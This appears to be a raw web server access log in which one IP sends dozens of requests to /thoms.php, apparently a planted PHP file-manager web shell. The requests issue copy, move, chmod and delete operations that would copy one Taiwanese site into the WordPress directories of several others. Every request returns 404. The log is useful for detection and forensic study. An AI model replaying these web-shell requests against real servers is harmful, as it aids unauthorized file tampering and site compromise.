45.135.193.11 - - [11/Sep/2026:23:49:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw%2Fclient-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw%2Fsync-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw%2F.tmb HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?del=biotaiwan.com-20260912023713&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=biotaiwan.com-20260912023713&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?copy=biotaiwan.com-20260912023713&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com-20260912023713&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?chmod=biotaiwan.com-20260912023713&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=biotaiwan.com-20260912023713&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:34 -0400] "GET /biotaiwan.com-20260912023713/ HTTP/1.1" 404 8494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
